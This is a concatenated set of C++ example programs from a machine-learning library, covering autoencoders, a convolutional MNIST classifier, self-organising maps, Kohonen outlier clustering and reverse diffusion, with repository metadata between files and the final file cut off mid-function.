#include "metric/utils/dnn.hpp" #include "metric/utils/dnn/Utils/Random.h" #include "metric/utils/datasets.hpp" #include "metric/mapping/autoencoder.hpp" #include <iostream> #include <chrono> using namespace std; using namespace metric; template <typename Scalar> blaze::DynamicMatrix<Scalar> getRandomMatrix(const size_t rows, const size_t columns) { blaze::DynamicMatrix<Scalar> m(rows, columns); for (size_t i = 0UL; i < rows; i++) { for (size_t j = 0UL; j < columns; j++) { m(i, j) = blaze::rand<Scalar>(-1, 1); } } return m; } template<typename T> void printVector(const T& vector) { for (auto e: vector) { cout << +e << " "; } cout << endl; } template<typename T> void printMatrix(const T& vector, size_t rows, size_t columns) { cout << setw(3); for (auto i = 0; i < rows; ++i) { for (auto j = 0; j < columns; ++j) { cout << setw(3) << +vector[i * columns + j] << " "; } cout << endl; } } template<typename T> int vectorDiff(const vector<T>& vector1, const vector<T>& vector2) { if (vector1.size() != vector2.size()) { cout << "v1.size() != v2.size()" << endl; return -1; } int diff = 0; for (size_t i = 0; i < vector1.size(); ++i) { diff += (int(vector1[i]) - int(vector2[i])); } return diff; } int main() { /* Load data */ Datasets datasets; /* shape: [batches, rows, cols, channels] */ auto [labels, shape, features] = datasets.getMnist("data.cereal"); if (shape.empty()) { cout << "Data file is empty. Exiting." << endl; return EXIT_FAILURE; } auto json = R"({ "0": { "type": "FullyConnected", "inputSize": 784, "outputSize": 128, "activation": "ReLU" }, "1": { "type": "FullyConnected", "inputSize": 128, "outputSize": 64, "activation": "ReLU" }, "2": { "type": "FullyConnected", "inputSize": 64, "outputSize": 32, "activation": "ReLU" }, "3": { "type": "FullyConnected", "inputSize": 32, "outputSize": 64, "activation": "ReLU" }, "4": { "type": "FullyConnected", "inputSize": 64, "outputSize": 128, "activation": "ReLU" }, "5": { "type": "FullyConnected", "inputSize": 128, "outputSize": 784, "activation": "Sigmoid" }, "train": { "loss": "RegressionMSE", "optimizer": {"type": "RMSProp", "learningRate": 0.01, "eps": 1e-6, "decay": 0.9} } } )"_json; auto jsonConv = R"({ "0": { "type": "Conv2d", "inputWidth": 28, "inputHeight": 28, "inputChannels": 1, "outputChannels": 16, "kernelWidth": 4, "kernelHeight": 4, "stride": 2, "activation": "ReLU" }, "1": { "type": "Conv2d", "inputWidth": 13, "inputHeight": 13, "inputChannels": 16, "outputChannels": 8, "kernelWidth": 3, "kernelHeight": 3, "stride": 2, "activation": "ReLU" }, "2": { "type": "Conv2dTranspose", "inputWidth": 6, "inputHeight": 6, "inputChannels": 8, "outputChannels": 16, "kernelWidth": 3, "kernelHeight": 3, "stride": 2, "activation": "Sigmoid" }, "3": { "type": "Conv2dTranspose", "inputWidth": 13, "inputHeight": 13, "inputChannels": 16, "outputChannels": 1, "kernelWidth": 4, "kernelHeight": 4, "stride": 2, "activation": "Sigmoid" }, "train": { "loss": "RegressionMSE", "optimizer": {"type": "RMSProp", "learningRate": 0.01, "eps": 1e-6, "decay": 0.9} } } )"_json; Autoencoder<uint8_t, double> autoencoder(jsonConv.dump()); autoencoder.setCallback(dnn::VerboseCallback<double>()); cout << "Train" << endl; autoencoder.train(features, 1, 256); cout << "Sample:" << endl; vector<uint8_t> sample(features.begin(), features.begin() + shape[1] * shape[2]); printMatrix(sample, shape[1], shape[2]); cout << "prediction" << endl; auto prediction = autoencoder.predict(sample); printMatrix(prediction, shape[1], shape[2]); cout << "latent vector" << endl; vector<double> latentVector = autoencoder.encode(sample); printVector(latentVector); int t = vectorDiff(prediction, autoencoder.decode(latentVector)); cout << "test:" << t << endl; return EXIT_SUCCESS; }
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metric-space-ai/metric
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1,531,423
dnn_example_pgm.cpp
metric-space-ai_metric/examples/dnn_examples/dnn_example_pgm.cpp
#include "metric/utils/dnn.hpp" #include "metric/utils/dnn/Utils/Random.h" #include "metric/utils/datasets.hpp" #include "metric/mapping/autoencoder.hpp" #include <iostream> #include <chrono> using namespace std; using namespace metric; template <typename Scalar> blaze::DynamicMatrix<Scalar> getRandomMatrix(const size_t rows, const size_t columns) { blaze::DynamicMatrix<Scalar> m(rows, columns); for (size_t i = 0UL; i < rows; i++) { for (size_t j = 0UL; j < columns; j++) { m(i, j) = blaze::rand<Scalar>(-1, 1); } } return m; } template<typename T> void printVector(const T& vector) { for (auto e: vector) { cout << +e << " "; } cout << endl; } template<typename T> void printMatrix(const T& vector, size_t rows, size_t columns) { cout << setw(3); for (auto i = 0; i < rows; ++i) { for (auto j = 0; j < columns; ++j) { cout << setw(3) << +vector[i * columns + j] << " "; } cout << endl; } } template<typename T> int vectorDiff(const vector<T>& vector1, const vector<T>& vector2) { if (vector1.size() != vector2.size()) { cout << "v1.size() != v2.size()" << endl; return -1; } int diff = 0; for (size_t i = 0; i < vector1.size(); ++i) { diff += (int(vector1[i]) - int(vector2[i])); } return diff; } int main(int argc, char* argv[]) { if (argc != 2) { cout << "usage: " << argv[0] << " pgm_images_list" << endl; return EXIT_FAILURE; } /* Load images */ auto [shape, features] = Datasets::loadImages(argv[1]); if (shape.empty()) { cout << "Could not load images. Exiting." << endl; return EXIT_FAILURE; } auto json = R"({ "0": { "type": "FullyConnected", "inputSize": 40000, "outputSize": 1024, "activation": "ReLU" }, "1": { "type": "FullyConnected", "inputSize": 1024, "outputSize": 256, "activation": "ReLU" }, "2": { "type": "FullyConnected", "inputSize": 256, "outputSize": 64, "activation": "ReLU" }, "3": { "type": "FullyConnected", "inputSize": 64, "outputSize": 256, "activation": "ReLU" }, "4": { "type": "FullyConnected", "inputSize": 256, "outputSize": 1024, "activation": "ReLU" }, "5": { "type": "FullyConnected", "inputSize": 1024, "outputSize": 40000, "activation": "Sigmoid" }, "train": { "loss": "RegressionMSE", "optimizer": {"type": "RMSProp", "learningRate": 0.01, "eps": 1e-6, "decay": 0.9} } } )"_json; Autoencoder<uint8_t, double> autoencoder(json.dump()); autoencoder.setCallback(dnn::VerboseCallback<double>()); /*cout << "fps" << endl; for (auto i = 0; i < 100; ++i) { auto w = shape[1] * shape[2]; vector<uint8_t> sample(features.begin() + i * w , features.begin() + (i + 1)*shape[1] * shape[2]); auto prediction = autoencoder.predict(sample); } return 0;*/ //auto i = 10; //auto w = shape[1] * shape[2]; //vector<uint8_t> sample(features.begin() + i * w , features.begin() + (i + 1)*shape[1] * shape[2]); //auto prediction = autoencoder.predict(sample); //printMatrix(prediction, shape[1], shape[2]); cout << "Train" << endl; autoencoder.train(features, 50, 128); cout << "Sample:" << endl; vector<uint8_t> sample(features.begin(), features.begin() + shape[1] * shape[2]); printMatrix(sample, shape[1], shape[2]); cout << "prediction" << endl; auto prediction = autoencoder.predict(sample); printMatrix(prediction, shape[1], shape[2]); cout << "latent vector" << endl; vector<double> latentVector = autoencoder.encode(sample); printVector(latentVector); int t = vectorDiff(prediction, autoencoder.decode(latentVector)); cout << "test:" << t << endl; return EXIT_SUCCESS; }
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dnn_example_classification.cpp
metric-space-ai_metric/examples/dnn_examples/dnn_example_classification.cpp
#include "metric/utils/dnn.hpp" #include "metric/utils/dnn/Utils/Random.h" #include "metric/utils/datasets.hpp" //#include "metric/mapping/autoencoder.hpp" #include <iostream> #include <chrono> using namespace std; using namespace metric::dnn; template<typename T> void printMatrix(const T& m) { cout << setw(3); for (auto i = 0; i < m.rows(); ++i) { for (auto j = 0; j < m.columns(); ++j) { cout << setw(3) << m(i, j) << " "; } cout << endl; } } int main() { /* Load data */ Datasets datasets; auto [labels, shape, features] = datasets.getMnist("data.cereal"); if (shape.empty()) { cout << "Data file is empty. Exiting." << endl; return EXIT_FAILURE; } //Autoencoder<uint8_t, double> autoencoder(features, shape[1] * shape[2], 255); Network<double> network; /*network.addLayer(FullyConnected<double, ReLU<double>>(28 * 28, 200)); network.addLayer(FullyConnected<double, ReLU<double>>(200, 80)); network.addLayer(FullyConnected<double, Sigmoid<double>>(80, 10)); */ network.addLayer(Conv2d<double, ReLU<double>>(28, 28, 1, 1, 3, 3)); network.addLayer(MaxPooling<double, Identity<double>>(26, 26, 1, 2, 2)); //network.addLayer(Conv2d<double, ReLU<double>>(26, 26, 64, 8, 3, 3)); //network.addLayer(Conv2d<double, ReLU<double>>(26, 26, 8, 8, 3, 3)); //network.addLayer(FullyConnected<double, Sigmoid<double>>(169, 10)); network.addLayer(FullyConnected<double, Sigmoid<double>>(169, 10)); network.setOptimizer(RMSProp<double>()); network.setOutput(MultiClassEntropy<double>()); //network.setOutput(RegressionMSE<double>()); network.setCallback(VerboseCallback<double>()); network.init(0, 0.01, 123); /* Convert input data */ std::vector<double> featuresScalar(features.begin(), features.end()); blaze::DynamicMatrix<double> featuresBlaze(shape[0], shape[1] * shape[2], featuresScalar.data()); featuresBlaze /= double(255); std::vector<int> labelsInteger(labels.begin(), labels.end()); //blaze::DynamicMatrix<int, blaze::columnMajor> labelsBlaze(shape[0], 1, labelsInteger.data()); blaze::DynamicMatrix<double, blaze::columnMajor> labelsBlaze(shape[0], 10); labelsBlaze = 0; for (auto i = 0; i < labels.size(); ++i) { labelsBlaze(i, labelsInteger[i]) = 1; } network.fit(featuresBlaze, labelsBlaze, 1024, 10, 123); auto prediction = network.predict(blaze::submatrix(featuresBlaze, 10, 0, 1, featuresBlaze.columns())); //std::cout << labelsBlaze(10, 0) << std::endl; printMatrix(blaze::submatrix(labelsBlaze, 10, 0, 1, 10)); printMatrix(prediction); /* cout << "Train" << endl; autoencoder.train(1, 256); cout << "Sample:" << endl; vector<uint8_t> sample(features.begin(), features.begin() + shape[1] * shape[2]); printMatrix(sample, shape[1], shape[2]); cout << "prediction" << endl; auto prediction = autoencoder.predict(sample); printMatrix(prediction, shape[1], shape[2]); cout << "latent vector" << endl; vector<double> latentVector = autoencoder.encode(sample); printVector(latentVector); float t = vectorDiff(prediction, autoencoder.decode(latentVector)); cout << "test:" << t << endl; */ return EXIT_SUCCESS; }
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auto_detect_metric_example.cpp
metric-space-ai_metric/examples/mapping_examples/auto_detect_metric_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #include <vector> #include <iostream> #include <fstream> #include <chrono> #include <nlohmann/json.hpp> #include "metric/mapping.hpp" #include "metric/utils/auto_detect_metric.hpp" using json = nlohmann::json; template <typename T> void matrix_print(const std::vector<std::vector<T>> &mat) { std::cout << "[ " << std::endl; for (int i = 0; i < mat.size(); i++) { std::cout << " [ "; for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1] << " ]" << std::endl; } std::cout << "]" << std::endl; std::cout << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "["; for (int i = 0; i < vec.size() - 1; i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec,const size_t width, const size_t height) { if ((width * height) != vec.size()) { std::cout << "width * height != vector.size()" << std::endl; return; } for (auto index = 0; index < vec.size(); ++index) { std::cout << vec[index] << " "; if ((index + 1) % width == 0) { std::cout << std::endl; } } } void printDataInfo(const json& data) { for (const auto& [key, value]: data.items()) { std::cout << key << " " << value.size() << std::endl; } } template <typename SOM, typename Record> int checkSOM(SOM &som_model, std::vector<Record> dataset) { if (!som_model.isValid()) { std::cout << "SOM is not valid" << std::endl; return EXIT_FAILURE; } std::cout << std::endl; /* Estimate with img1 */ std::cout << "Estimate started..." << std::endl; auto t1 = std::chrono::steady_clock::now(); som_model.estimate(dataset, 50); auto t2 = std::chrono::steady_clock::now(); std::cout << "Estimate ended (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; auto std_deviation = som_model.std_deviation(dataset); std::cout << "std deviation: " << std_deviation << std::endl; std::cout << std::endl; auto dimR = som_model.encode(dataset[2]); vector_print(dimR, 3, 2); std::cout << std::endl; auto bmu = som_model.BMU(dataset[2]); std::cout << "Best matching unit: " << bmu << std::endl; std::cout << std::endl; // /* Train with img1 */ std::cout << "Full train started..." << std::endl; t1 = std::chrono::steady_clock::now(); som_model.train(dataset); t2 = std::chrono::steady_clock::now(); std::cout << "Full train ended (Time = " << double(std::chrono::duration_cast<std::chrono::microseconds>(t2 - t1).count()) / 1000000 << "s)" << std::endl; std_deviation = som_model.std_deviation(dataset); std::cout << "std deviation: " << std_deviation << std::endl; std::cout << std::endl; dimR = som_model.encode(dataset[4]); vector_print(dimR, 3, 2); std::cout << std::endl; bmu = som_model.BMU(dataset[4]); std::cout << "Best matching unit: " << bmu << std::endl; std::cout << std::endl; // std::vector<Record> test_sample = { {0, 3, 5, 0}, {3, 6, 2, 1} }; return 0; } int main() { std::cout << "SOM example have started" << std::endl; std::cout << '\n'; using Record = std::vector<double>; using Graph = metric::Grid6; std::vector<Record> dataset = { {0, 3, 5, 0}, {1, 4, 5, 0}, {2, 5, 2, 1}, {3, 6, 2, 1}, {4, 7, 5, 1}, {5, 8, 5, 1}, {6, 9, 2, 4}, {7, 1, 2, 4}, {8, 9, 5, 8}, {9, 9, 9, 8}, }; //std::vector<Record> dataset = { // {0, 0, 0}, // {0, 0, 0}, // {0, 0, 0}, // {2, 2, 2}, // {2, 2, 2}, // {2, 2, 2}, // {0, 0, 4}, // {0, 0, 4}, // {0, 0, 4}, // {8, 0, 0}, // {8, 0, 0}, // {8, 0, 0}, //}; // int graph_w = 3; int graph_h = 2; Graph graph(graph_w, graph_h); metric::MetricAutoDetector adm; adm.set_verbose(true); auto best_metric = adm.detect<Record, Graph>(graph, graph_w, graph_h, dataset, false); if (best_metric == "Euclidean") { // Euclidean using Metric = metric::Euclidean<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "Manhatten") { // Manhatten using Metric = metric::Manhatten<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "P_norm") { // P_norm using Metric = metric::P_norm<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "Euclidean_thresholded") { // Euclidean_thresholded using Metric = metric::Euclidean_thresholded<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "Cosine") { // Cosine using Metric = metric::Cosine<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "Chebyshev") { // Chebyshev using Metric = metric::Chebyshev<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "Earth Mover Distance") { // Earth Mover Distance using Metric = metric::EMD<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "SSIM") { // SSIM using Metric = metric::SSIM<double, Record>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(), 0.8, 0.2, 20); checkSOM(som_model, dataset); } else if (best_metric == "TWED") { // TWED using Metric = metric::TWED<double>; metric::SOM<Record, Graph, Metric> som_model(graph, Metric(0, 1), 0.8, 0.2, 20); checkSOM(som_model, dataset); } // return 0; }
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
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1,531,426
kohonen_outliers_clustering_example.cpp
metric-space-ai_metric/examples/mapping_examples/kohonen_outliers_clustering_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2019 Panda Team */ #if defined(__linux__) #include <dirent.h> #endif #include <vector> #include <any> #include <iostream> #include <fstream> #if defined(_WIN64) #include <filesystem> #endif #include <chrono> #include "metric/utils/ThreadPool.hpp" #include "metric/utils/Semaphore.h" #include <nlohmann/json.hpp> #include "metric/mapping.hpp" using json = nlohmann::json; template <typename T> void matrix_print(const std::vector<std::vector<T>> &mat) { std::cout << "["; std::cout << std::endl; for (int i = 0; i < mat.size(); i++) { std::cout << " [ "; if (mat[i].size() > 0) { for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1]; } std::cout << " ]" << std::endl; } std::cout << std::endl; std::cout << "]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "[ "; for (int i = 0; i < vec.size() - 1; i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec,const size_t width, const size_t height) { if ((width * height) != vec.size()) { std::cout << "width * height != vector.size()" << std::endl; return; } int max_digits = 1; for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; while (vec[index] / pos >= 1) { digits_num++; pos *= 10; } if (digits_num > max_digits) { max_digits = digits_num; } } for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; while (vec[index] / pos >= 1) { digits_num++; pos *= 10; } for (auto i = 0; i < max_digits - digits_num; ++i) { std::cout << " "; } std::cout << vec[index] << " "; if ((index + 1) % width == 0) { std::cout << std::endl; } } std::cout << std::endl; } std::vector<std::vector<double>> readCsvData(std::string filename, char delimeter) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); row.clear(); while (getline(s, word, delimeter)) { row.push_back(std::stod(word)); } rows.push_back(row); } return rows; } std::tuple<std::vector<std::string>, std::vector<std::vector<double>>> readCsvData2(std::string filename, char delimeter) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<std::string> dates; std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; int day, month, year, hour, minute, second; int added_days = 0; bool was_yesterday = false; // omit headers getline(fin, line); int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); getline(s, word, delimeter); sscanf(word.c_str(), "%4d-%2d-%2d %2d:%2d:%2d", &year, &month, &day, &hour, &minute, &second); if (was_yesterday && hour * 60 + minute >= 4 * 60) { dates.push_back(word); rows.push_back(row); row.clear(); } if (hour * 60 + minute < 4 * 60) { was_yesterday = true; } else { was_yesterday = false; } while (getline(s, word, delimeter)) { row.push_back(std::stod(word)); } } // erase first element with partial data rows.erase(rows.begin()); dates.erase(dates.end() - 1); return { dates, rows }; } /// int main(int argc, char *argv[]) { std::cout << "KOC example have started" << std::endl; std::cout << std::endl; using Record = std::vector<double>; size_t best_w_grid_size = 3; size_t best_h_grid_size = 2; // if overrided from arguments if (argc > 3) { best_w_grid_size = std::stod(argv[2]); best_h_grid_size = std::stod(argv[3]); } std::vector<std::vector<Record>> datasets; std::vector<std::vector<Record>> test_sets; std::vector<std::string> dataset_names; std::vector<Record> dataset; std::vector<Record> test_set; std::vector<std::string> dates; // dataset = { {0, 0.1}, {0.2, 0}, {0, 1.2}, {0.1, 1}, {0.1, 2}, {0.2, 2}, {1, 0}, {1.2, 0.1}, {1.3, 1.1}, {0.9, 1}, {1.1, 2}, {0.9, 1.9}, }; datasets.push_back(dataset); test_set = { {0, 0}, {0, 1}, {0.5, 0.5}, {0.0, 0.3}, {5, 5}, }; test_sets.push_back(test_set); dataset_names.push_back("syntetic dataset"); // dataset = readCsvData("assets/testdataset/compound.csv", ','); datasets.push_back(dataset); test_set = { {4, 0} }; test_sets.push_back(test_set); dataset_names.push_back("compound dataset"); // dataset = readCsvData("assets/testdataset/fisheriris.csv", ','); datasets.push_back(dataset); test_set = { {6.5, 3.2, 5.1, 2.2}, {6.1, 3.3, 5.3, 2.3}, {5.9, 3.1, 5.2, 1.8}, {8.3, 5.0, 5.0, 3.5} }; test_sets.push_back(test_set); dataset_names.push_back("fisheriris dataset"); // dataset = readCsvData("assets/testdataset/multidim.csv", ','); datasets.push_back(dataset); test_set = { {1.86,-0.5,0.01,0.36,-0.04,-0.35,0.11,0.09,0.57,-0.09,-0.03,0.05,-0.21,-0.21,0.04,-0.14,0.14,-0.11,0.18,-0.06,-0.04,0.08,-0.03,-0.13,0.11,0.02,0.04,-0.04,-0.14,-0.1}, {0.87,-0.97,0.24,0.18,0.23,0.35,0.21,-0.06,0.01,0.06,-0.1,0.02,-0.13,0.18,-0.43,0.06,-0.24,0.12,0.04,-0.2,-0.12,0.23,0.06,0.2,-0.09,0.01,0.28,0.01,0.11,-0.04}, {2,2,0.4,0.01,-0.1,0.1,0.2,0.1,-0.1,0.4,-0.1,-0.01,0.3,0.2,0.3,0.01,0.2,0.1,-0.1,-0.1,-0.4,0.1,0.2,0.3,0.01,0.3,0.1,0.4,0.1,0.1} }; test_sets.push_back(test_set); dataset_names.push_back("multidim dataset"); // std::tie(dates, dataset) = readCsvData2("assets/testdataset/nyc_taxi.csv", ','); datasets.push_back(dataset); test_set = { dataset[2], dataset[12], dataset[22], dataset[53], dataset[84], dataset[122], dataset[123], dataset[149], dataset[162], dataset[163], dataset[183], dataset[184], dataset[192], dataset[199], dataset[201] }; test_sets.push_back(test_set); dataset_names.push_back("NYC taxi dataset"); // dataset = readCsvData("assets/testdataset/3d_swissroll.csv", ','); datasets.push_back(dataset); test_set = { dataset[2], dataset[12], dataset[22] }; test_sets.push_back(test_set); dataset_names.push_back("swissroll dataset"); /// // random seed for repeateable results long long random_seed = 777; double sigma = 1.5; metric::KOC_factory<Record, metric::Grid4> simple_koc_factory(best_w_grid_size, best_h_grid_size, sigma, 0.5, 0.0, 300, -1, 1, 2, 0.5, random_seed); for (int i = 0; i < datasets.size(); i++) { std::cout << "--------------" << std::endl; std::cout << dataset_names[i] << std::endl; std::cout << "--------------" << std::endl; std::cout << std::endl; int num_clusters = 5; dataset = datasets[i]; test_set = test_sets[i]; auto simple_koc = simple_koc_factory(dataset, num_clusters); std::cout << "train dataset:" << std::endl; auto anomalies = simple_koc.check_if_anomaly(dataset); std::cout << std::endl; std::cout << "anomalies:" << std::endl; vector_print(anomalies); auto assignments = simple_koc.assign_to_clusters(dataset); std::cout << std::endl; std::cout << "assignments:" << std::endl; vector_print(assignments); std::cout << std::endl; std::cout << std::endl; std::cout << "test dataset:" << std::endl; anomalies = simple_koc.check_if_anomaly(test_set); std::cout << std::endl; std::cout << "anomalies:" << std::endl; vector_print(anomalies); assignments = simple_koc.assign_to_clusters(test_set); std::cout << std::endl; std::cout << "assignments:" << std::endl; vector_print(assignments); /// std::cout << std::endl; std::cout << std::endl; std::cout << "top outliers:" << std::endl; auto [idxs, sorted_distances] = simple_koc.top_outliers(test_set, 10); std::cout << std::endl; std::cout << "sorted indexes:" << std::endl; vector_print(idxs); std::cout << std::endl; std::cout << "sorted distances:" << std::endl; vector_print(sorted_distances); std::cout << std::endl; std::cout << std::endl; std::cout << std::endl; } return 0; }
8,369
C++
.cpp
294
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168
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metric-space-ai/metric
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9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
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1,531,427
reverse_diffusion_example.cpp
metric-space-ai_metric/examples/mapping_examples/reverse_diffusion_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2020 Panda Team */ #include <vector> #include <iostream> #include <fstream> #if defined(_WIN64) #include <filesystem> #endif #include <chrono> #include <nlohmann/json.hpp> #include "metric/mapping.hpp" #include "metric/mapping/Redif.hpp" using json = nlohmann::json; template <typename T> void matrix_print(const std::vector<std::vector<T>> &mat) { std::cout << "["; std::cout << std::endl; for (int i = 0; i < mat.size(); i++) { std::cout << " [ "; if (mat[i].size() > 0) { for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1]; } std::cout << " ]" << std::endl; } std::cout << std::endl; std::cout << "]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "[ "; for (int i = 0; i < vec.size() - 1; i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } std::vector<std::vector<double>> readCsvData(std::string filename, char delimeter) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; std::vector<int> labels; // omit header //getline(fin, line); int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); // get label //getline(s, word, delimeter); //labels.push_back(std::stoi(word)); row.clear(); while (getline(s, word, delimeter)) { row.push_back(std::stod(word)); } rows.push_back(row); } return rows; } /// int main(int argc, char *argv[]) { std::cout << "Reverse Diffusion example have started" << std::endl; std::cout << std::endl; using Record = std::vector<double>; using Metric = metric::Euclidean<double>; std::vector<Record> dataset = readCsvData("./assets/testdataset/compound.csv", ','); std::vector<Record> test_dataset = dataset; for (int i = 0; i < 4; ++i) { test_dataset.push_back(dataset[i]); } metric::Redif redif(dataset, 4, 10, Metric()); auto encoded_data = redif.encode(test_dataset); auto decoded_data = redif.decode(encoded_data); auto is_equal = std::equal( test_dataset.begin(), test_dataset.end(), decoded_data.begin(), [](Record l_record, Record r_record) { return std::equal( l_record.begin(), l_record.end(), r_record.begin(), [](double l, double r) { return (round(l * 10000) == round(r * 10000)); } ); } ); std::cout << "is encoded and decoded back dataset is equal with original: " << (is_equal ? "true" : "false") << std::endl; return 0; }
2,871
C++
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metric-space-ai/metric
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MPL-2.0
9/20/2024, 10:43:29 PM (Europe/Amsterdam)
false
false
false
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false
false
false
false
1,531,428
KOC_MNIST_example.cpp
metric-space-ai_metric/examples/mapping_examples/KOC_MNIST_example.cpp
/* This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Copyright (c) 2020 Panda Team */ #if defined(__linux__) #include <dirent.h> #endif #include <vector> #include <any> #include <iostream> #include <fstream> #if defined(_WIN64) #include <filesystem> #endif #include <chrono> #include "metric/utils/ThreadPool.hpp" #include "metric/utils/Semaphore.h" #include <nlohmann/json.hpp> #include "metric/mapping.hpp" #include "metric/utils/poor_mans_quantum.hpp" using json = nlohmann::json; template <typename T> void matrix_print(const std::vector<std::vector<T>> &mat) { std::cout << "["; std::cout << std::endl; for (int i = 0; i < mat.size(); i++) { std::cout << " [ "; if (mat[i].size() > 0) { for (int j = 0; j < mat[i].size() - 1; j++) { std::cout << mat[i][j] << ", "; } std::cout << mat[i][mat[i].size() - 1]; } std::cout << " ]" << std::endl; } std::cout << std::endl; std::cout << "]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec) { std::cout << "[ "; for (int i = 0; i < vec.size() - 1; i++) { std::cout << vec[i] << ", "; } std::cout << vec[vec.size() - 1] << " ]" << std::endl; } template <typename T> void vector_print(const std::vector<T> &vec,const size_t width, const size_t height) { if ((width * height) != vec.size()) { std::cout << "width * height != vector.size()" << std::endl; return; } int max_digits = 1; for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; while (vec[index] / pos >= 1) { digits_num++; pos *= 10; } if (digits_num > max_digits) { max_digits = digits_num; } } for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; while (vec[index] / pos >= 1) { digits_num++; pos *= 10; } for (auto i = 0; i < max_digits - digits_num; ++i) { std::cout << " "; } std::cout << vec[index] << " "; if ((index + 1) % width == 0) { std::cout << std::endl; } } std::cout << std::endl; } template <typename T> void image_print(const std::vector<T> &vec, const size_t width, const size_t height) { if ((width * height) != vec.size()) { std::cout << "width * height != vector.size()" << std::endl; return; } int max_digits = 3; for (auto index = 0; index < vec.size(); ++index) { int pos = 10; int digits_num = 1; if (vec[index] >= 10) { digits_num++; } if (vec[index] >= 100) { digits_num++; } for (auto i = 0; i < max_digits - digits_num; ++i) { std::cout << " "; } std::cout << static_cast<unsigned int>(vec[index]) << " "; if ((index + 1) % width == 0) { std::cout << std::endl; } } std::cout << std::endl; } std::tuple<std::vector<std::vector<double>>, std::vector<int>> readCsvData(std::string filename, char delimeter) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; std::vector<int> labels; // omit header getline(fin, line); int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); // get label getline(s, word, delimeter); labels.push_back(std::stoi(word)); row.clear(); while (getline(s, word, delimeter)) { row.push_back(std::stod(word)); } rows.push_back(row); } return { rows, labels }; } std::tuple<std::vector<std::vector<double>>, std::vector<int>> readMnist(std::string filename, char delimeter, int max_rows) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; std::vector<int> labels; // omit header getline(fin, line); int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); // get label getline(s, word, delimeter); labels.push_back(std::stoi(word)); row.clear(); while (getline(s, word, delimeter)) { row.push_back(std::stod(word)); } rows.push_back(row); if (i >= max_rows) { break; } } return { rows, labels }; } std::tuple<std::vector<std::string>, std::vector<std::vector<double>>> readCsvData2(std::string filename, char delimeter) { std::fstream fin; fin.open(filename, std::ios::in); std::vector<std::string> dates; std::vector<double> row; std::string line, word, w; std::vector<std::vector<double>> rows; int day, month, year, hour, minute, second; int added_days = 0; bool was_yesterday = false; // omit headers getline(fin, line); int i = 0; while (getline(fin, line)) { i++; std::stringstream s(line); getline(s, word, delimeter); sscanf(word.c_str(), "%4d-%2d-%2d %2d:%2d:%2d", &year, &month, &day, &hour, &minute, &second); if (was_yesterday && hour * 60 + minute >= 4 * 60) { dates.push_back(word); rows.push_back(row); row.clear(); } if (hour * 60 + minute < 4 * 60) { was_yesterday = true; } else { was_yesterday = false; } while 